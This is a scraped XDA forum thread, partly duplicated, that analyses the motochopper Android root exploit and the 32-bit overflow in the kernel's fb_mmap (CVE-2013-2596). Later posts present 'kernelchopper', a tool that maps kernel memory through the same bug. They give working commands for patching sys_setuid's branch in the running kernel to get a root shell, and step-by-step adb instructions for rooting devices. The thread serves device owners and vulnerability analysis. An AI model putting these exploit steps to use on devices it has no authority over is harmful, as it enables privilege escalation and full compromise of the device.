[Q] Understanding how motochopper works

Search This thread

SW686

Member
Dec 17, 2012
21
32
I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.

It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.

Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:

Code:
1662  [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0
1662  [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill(0x67e, 0x5)       = 0
1662  [4019d160] kill(0, 0x5)           = 0x5
1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662  [4019ba5c] gettid()               = 0x67e
1662  [4019d160] kill()                 = 0

After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:

Code:
1728  open("/dev/graphics/fb0", O_RDWR) = 6
...
1728  mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728  munmap(0x400f2000, 4096)          = 0
1728  mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728  munmap(0x40011000, 8192)          = 0
1728  mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728  munmap(0x4006a000, 12288)         = 0
...
1728  mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9433088)       = 0
1728  mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728  munmap(0x4015b000, 9437184)       = 0
1728  mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)

Then it tries to map the largest possible region into the process' address space:

Code:
1728  mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728  mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000

Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:

Code:
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 2000
1728  getuid()                          = 0
1728  getuid32()                        = 0
1728  write(1, "[+] Success!\n", 13)    = 13

Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.

Some unanswered questions:

Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.

Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?

What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?


[1] http://xdaforums.com/showthread.php?t=2252248

[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596


Edit:

Some recent changes were made to fbmem.c:fb_mmap() in mainline:

http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623

There is no custom fb_mmap() in Tegra's fb_ops struct.

Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.

Edit #2:

After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:

Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
        struct fb_info *info = file_fb_info(file);
        struct fb_ops *fb;
        unsigned long off;
        unsigned long start;
        u32 len;

        if (!info)
                return -ENODEV;
        if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
                return -EINVAL;
        off = vma->vm_pgoff << PAGE_SHIFT;
        fb = info->fbops;
        if (!fb)
                return -ENODEV;
        mutex_lock(&info->mm_lock);
        if (fb->fb_mmap) {
                int res;
                res = fb->fb_mmap(info, vma);
                mutex_unlock(&info->mm_lock);
                return res;
        }

        /* frame buffer memory */
        start = info->fix.smem_start;
        [color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
        if (off >= len) {
                /* memory mapped io */
                off -= len;
                if (info->var.accel_flags) {
                        mutex_unlock(&info->mm_lock);
                        return -EINVAL;
                }
                start = info->fix.mmio_start;
                len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
        }
        mutex_unlock(&info->mm_lock);
        start &= PAGE_MASK;
        [color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
                return -EINVAL;[/color]
        off += start;
        vma->vm_pgoff = off >> PAGE_SHIFT;
        /* This is an IO map - tell maydump to skip this VMA */
        vma->vm_flags |= VM_IO | VM_RESERVED;
        vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
        fb_pgprotect(file, vma, off);
        [color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
                             vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
                return -EAGAIN;
        return 0;
}

The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).

fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.

The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:

Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000

len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.

So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
 
Last edited:

xdej

Senior Member
Oct 17, 2012
109
44
The best guide I've followed from xda this year, period.
[...]Tried on a 4.2.2 no-name tablet and did not manage to make it work for now, but I will try harder :)

Thank you for your compliments. Can you attach to your message the file backup_before_installing_su_to_disk created while you tried this on the 4.2.2 no-name tablet ?

---------- Post added at 11:09 PM ---------- Previous post was at 11:03 PM ----------

can anyone help me with this or walk me through how to get the required information to use kernelchopper?

Thanks.

You should try anyway, paying attention to follow the color code to adapt this to your case.
 
Last edited:

phonefiend

Senior Member
Oct 17, 2010
59
0
Thank you for your compliments. Can you attach to your message the file backup_before_installing_su_to_disk created while you tried this on the 4.2.2 no-name tablet ?

---------- Post added at 11:09 PM ---------- Previous post was at 11:03 PM ----------



You should try anyway, paying attention to follow the color code to adapt this to your case.

I'm unable to write to /data on my Galaxy Nexus. This is what mount shows:

Code:
/dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data ext4 rw,nosuid,nodev,noatime,errors=panic,barrier=1,nomblk_io_submit,data=ordered 0 0

I get permission denied. Can you help?

Thanks.
 

xdej

Senior Member
Oct 17, 2012
109
44
I'm unable to write to /data on my Galaxy Nexus. This is what mount shows:

Code:
/dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data ext4 rw,nosuid,nodev,noatime,errors=panic,barrier=1,nomblk_io_submit,data=ordered 0 0

I get permission denied. Can you help?

Thanks.

Install terminal IDE

Then type at its prompt:
Code:
pwd
chmod 1777 . ..

Now, use the string shown by pwd instead of /data/.tmp/ in my rooting method.

When you are finished rooting, you will have to rerun the chmod like that:
Code:
cd /data/.tmp/
chmod 755 . ..
(do not forget to replace /data/.tmp/ by what the first "pwd" has shown to you.

Solution 2: replace /data/.tmp by a future answer on http://stackoverflow.com/questions/...ta-logcat-log-documented-to-be-world-writable
 
Last edited:

phonefiend

Senior Member
Oct 17, 2010
59
0

Thanks for the response. Two things.

1. When I try to run kernelchopper to dump any length of memory I get the following:
Code:
unexpected mmap() error: Invalid argument

It is failing to mmap kernel memory but I'm not sure what "invalid argument" means. Any idea?

2. In your second solution above it seems like the post you linked to was modified so I can't make sense of what that solution was. I'm curious to know what it was.

Thanks.
 

xdej

Senior Member
Oct 17, 2012
109
44
Thanks for the response. Two things.

1. When I try to run kernelchopper to dump any length of memory I get the following:
Code:
unexpected mmap() error: Invalid argument
IF you didn't use adb shell before that, then try it. If you already used it, your android version may be too new.
It is failing to mmap kernel memory but I'm not sure what "invalid argument" means. Any idea?

2. In your second solution above it seems like the post you linked to was modified so I can't make sense of what that solution was. I'm curious to know what it was.
My solution 2 is not available for the moment. I need someone which knows how to make .apk to make the .apk specified there.
Thanks.
 

phonefiend

Senior Member
Oct 17, 2010
59
0
IF you didn't use adb shell before that, then try it. If you already used it, your android version may be too new.

What do you mean? How else would I run kernelchopper? I pushed kernelchopper to the directory terminal IDE created and ran adb shell and then executed kernelchopper from there. What exactly is the error indicating? I'm running 4.2.2 and I think I saw other people running that have success with it.
 

xdej

Senior Member
Oct 17, 2012
109
44
What do you mean? How else would I run kernelchopper? I pushed kernelchopper to the directory terminal IDE created and ran adb shell and then executed kernelchopper from there. What exactly is the error indicating? I'm running 4.2.2 and I think I saw other people running that have success with it.
I am afraid 4.2.2 is too recent. Try to boot an older android version (it should not be necessary to flash it).
 

Top Liked Posts

  • There are no posts matching your filters.
  • 15
    I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.

    kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:

    1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping

    2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number

    On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.

    Sample usage:

    A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:

    Code:
    80000000-beafffff : System RAM
      80008000-80900a57 : Kernel text
      80944000-80b841af : Kernel data

    Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":

    Code:
    c0077650 <sys_setuid>:
    c0077650:       e92d40f8        push    {r3, r4, r5, r6, r7, lr}
    c0077654:       e1a05000        mov     r5, r0
    c0077658:       eb0040d6        bl      c00879b8 <prepare_creds>
    c007765c:       e2504000        subs    r4, r0, #0
    c0077660:       0a000027        beq     c0077704 <sys_setuid+0xb4>
    c0077664:       e1a0200d        mov     r2, sp
    c0077668:       e3c23d7f        bic     r3, r2, #8128   ; 0x1fc0
    c007766c:       e3c3303f        bic     r3, r3, #63     ; 0x3f
    c0077670:       e3a00007        mov     r0, #7
    c0077674:       e593300c        ldr     r3, [r3, #12]
    c0077678:       e59362fc        ldr     r6, [r3, #764]  ; 0x2fc
    c007767c:       ebffd80f        bl      c006d6c0 <nsown_capable>
    c0077680:       e3500000        cmp     r0, #0
    [color=red]c0077684:       1a00000a        bne     c00776b4 <sys_setuid+0x64>[/color]

    Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper d 80077650 40                  
    80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 
    80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 
    80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb 
    80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1

    The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper m 80077684                     
    1a00000a
    shell@android:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a            
    shell@android:/data/local/tmp $ ./kernelchopper shell                          
    shell@android:/data/local/tmp # id
    uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

    At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.

    kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.

    Code:
    shell@android:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin       
    shell@android:/data/local/tmp $ hexdump -C setuid.bin
    00000000  f8 40 2d e9 00 50 a0 e1  d6 40 00 eb 00 40 50 e2  |.@-..P.. [user=457974]@...[/user]@P.|
    00000010  27 00 00 0a 0d 20 a0 e1  7f 3d c2 e3 3f 30 c3 e3  |'.... ...=..?0..|
    00000020  07 00 a0 e3 0c 30 93 e5  fc 62 93 e5 0f d8 ff eb  |.....0...b......|
    00000030  00 00 50 e3 0a 00 00 ea  04 30 96 e5 05 00 53 e1  |..P......0....S.|
    00000040  10 00 00 0a 0c 30 94 e5  05 00 53 e1 00 70 e0 13  |.....0....S..p..|
    00000050  0c 00 00 0a 04 00 a0 e1  34 41 00 eb 07 00 a0 e1  |........4A......|
    00000060  f8 80 bd e8 04 50 84 e5  0c 50 84 e5 04 30 96 e5  |.....P...P...0..|
    00000070  05 00 53 e1 03 00 00 0a  04 00 a0 e1 97 fc ff eb  |..S.............|
    00000080  00 70 50 e2 f2 ff ff ba  14 50 84 e5 04 00 a0 e1  |.pP......P......|
    00000090  1c 50 84 e5 06 10 a0 e1  01 20 a0 e3 cb 61 06 eb  |.P....... ...a..|
    000000a0  00 70 50 e2 ea ff ff ba  04 00 a0 e1 f8 40 bd e8  |.pP..........@..|
    000000b0  32 41 00 ea 0b 70 e0 e3  e7 ff ff ea              |2A...p......|
    000000bc

    It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
    13
    I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.

    It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.

    Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:

    Code:
    1662  [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill(0x67e, 0x5)       = 0
    1662  [4019d160] kill(0, 0x5)           = 0x5
    1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill()                 = 0
    1662  [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill(0x67e, 0x5)       = 0
    1662  [4019d160] kill(0, 0x5)           = 0x5
    1662  [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
    1662  [4019ba5c] gettid()               = 0x67e
    1662  [4019d160] kill()                 = 0

    After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:

    Code:
    1728  open("/dev/graphics/fb0", O_RDWR) = 6
    ...
    1728  mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
    1728  munmap(0x400f2000, 4096)          = 0
    1728  mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
    1728  munmap(0x40011000, 8192)          = 0
    1728  mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
    1728  munmap(0x4006a000, 12288)         = 0
    ...
    1728  mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
    1728  munmap(0x4015b000, 9433088)       = 0
    1728  mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
    1728  munmap(0x4015b000, 9437184)       = 0
    1728  mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)

    Then it tries to map the largest possible region into the process' address space:

    Code:
    1728  mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
    1728  mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000

    Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:

    Code:
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 2000
    1728  getuid()                          = 0
    1728  getuid32()                        = 0
    1728  write(1, "[+] Success!\n", 13)    = 13

    Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.

    Some unanswered questions:

    Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.

    Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?

    What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?


    [1] http://xdaforums.com/showthread.php?t=2252248

    [2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596


    Edit:

    Some recent changes were made to fbmem.c:fb_mmap() in mainline:

    http://www.spinics.net/lists/stable/msg06210.html
    https://lkml.org/lkml/2013/4/23/623

    There is no custom fb_mmap() in Tegra's fb_ops struct.

    Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.

    Edit #2:

    After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:

    Code:
    static int
    fb_mmap(struct file *file, struct vm_area_struct * vma)
    {
            struct fb_info *info = file_fb_info(file);
            struct fb_ops *fb;
            unsigned long off;
            unsigned long start;
            u32 len;
    
            if (!info)
                    return -ENODEV;
            if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
                    return -EINVAL;
            off = vma->vm_pgoff << PAGE_SHIFT;
            fb = info->fbops;
            if (!fb)
                    return -ENODEV;
            mutex_lock(&info->mm_lock);
            if (fb->fb_mmap) {
                    int res;
                    res = fb->fb_mmap(info, vma);
                    mutex_unlock(&info->mm_lock);
                    return res;
            }
    
            /* frame buffer memory */
            start = info->fix.smem_start;
            [color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
            if (off >= len) {
                    /* memory mapped io */
                    off -= len;
                    if (info->var.accel_flags) {
                            mutex_unlock(&info->mm_lock);
                            return -EINVAL;
                    }
                    start = info->fix.mmio_start;
                    len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
            }
            mutex_unlock(&info->mm_lock);
            start &= PAGE_MASK;
            [color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
                    return -EINVAL;[/color]
            off += start;
            vma->vm_pgoff = off >> PAGE_SHIFT;
            /* This is an IO map - tell maydump to skip this VMA */
            vma->vm_flags |= VM_IO | VM_RESERVED;
            vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
            fb_pgprotect(file, vma, off);
            [color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
                                 vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
                    return -EAGAIN;
            return 0;
    }

    The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).

    fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.

    The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:

    Page offset = 0x82900
    Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000

    len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.

    So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
    3
    I now use attached shell script with . ./root_padfone.sh (notice the dot) ; please update the script if you needed to change anything in step 1, or 2.

    Code:
    adb@localhost ~/root_padfone $ . ./root_padfone.sh 
    adb@android:/data/data/com.spartacusrex.spartacuside/adb/root_padfone # exit
    e3500000
    adb@localhost ~/root_padfone $

    In the images, you see I use a ssh server to share the adb priviledges.
    2
    Rooting without bootloader unlock

    Just rooted my Android without unlocking !!


    my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:

    Code:
    00200000-0fbfffff : System RAM
    00208000-00a48c6b : Kernel code
    00a80000-00d33a23 : Kernel data

    The prerequisites are: a Linux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM)

    Hello to all, I just got root on padfone 2 without unlocking and without these prerequisites. I used adt-bundle-linux-x86-20130729, grep and a compiler (try terminal IDE, or use gentooandroid.sourceforge.net ; if you trust the binaries attached to this message you do not need any compiler), then kernelchopper, then applied manually the end of exynos-abuse.

    STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions. If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).

    STEP 1: finding s_show->seq_printf format string found at: 0x80c281c6.
    We first use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/adb.
    Code:
    script backup_before_installing_su_to_disk
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/busybox /data/.tmp/grep
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/.tmp
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/.tmp
    adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
    cd /data/.tmp
    ./grep Kernel /proc/iomem
